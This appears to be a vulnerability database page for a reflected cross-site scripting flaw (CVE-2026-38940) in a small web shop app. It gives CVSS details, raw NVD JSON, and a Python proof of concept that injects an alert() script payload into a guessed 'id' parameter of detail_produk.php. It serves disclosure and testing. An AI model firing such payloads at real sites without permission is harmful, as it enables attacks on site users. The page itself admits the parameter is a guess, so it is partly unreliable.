Security Vulnerability Report
中文
CVE-2026-38940 CVSS 6.1 MEDIUM

CVE-2026-38940

Published: 2026-04-30 16:16:44
Last Modified: 2026-04-30 18:16:30

Description

Cross Site Scripting vulnerability in RafyMrX TOKO-ONLINE-ROTI v.1.0 allows a remote attacker to execute arbitrary code via the detail_produk.php component

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RafyMrX TOKO-ONLINE-ROTI 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-38940 # Target: RafyMrX TOKO-ONLINE-ROTI v1.0 # Component: detail_produk.php def check_xss(target_base_url): # Common XSS payload to test execution payload = "<script>alert('CVE-2026-38940_POC');</script>" # The vulnerable parameter is not explicitly named, assuming a generic query param # based on the detail_produk.php component. # Example: http://target.com/detail_produk.php?id=<payload> inject_url = f"{target_base_url}/detail_produk.php?id={payload}" try: response = requests.get(inject_url, timeout=5) # Check if the payload is reflected unfiltered in the response if payload in response.text: print(f"[+] Potential XSS found at: {inject_url}") print(f"[+] Payload reflected in response.") else: print("[-] Payload not reflected or filtered.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_xss(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38940", "sourceIdentifier": "[email protected]", "published": "2026-04-30T16:16:43.537", "lastModified": "2026-04-30T18:16:30.273", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in RafyMrX TOKO-ONLINE-ROTI v.1.0 allows a remote attacker to execute arbitrary code via the detail_produk.php component"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://gist.github.com/spico8/3b8b64a58069fc189ca28563dd1249e8", "source": "[email protected]"}, {"url": "https://gist.github.com/spico8/3b8b64a58069fc189ca28563dd1249e8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}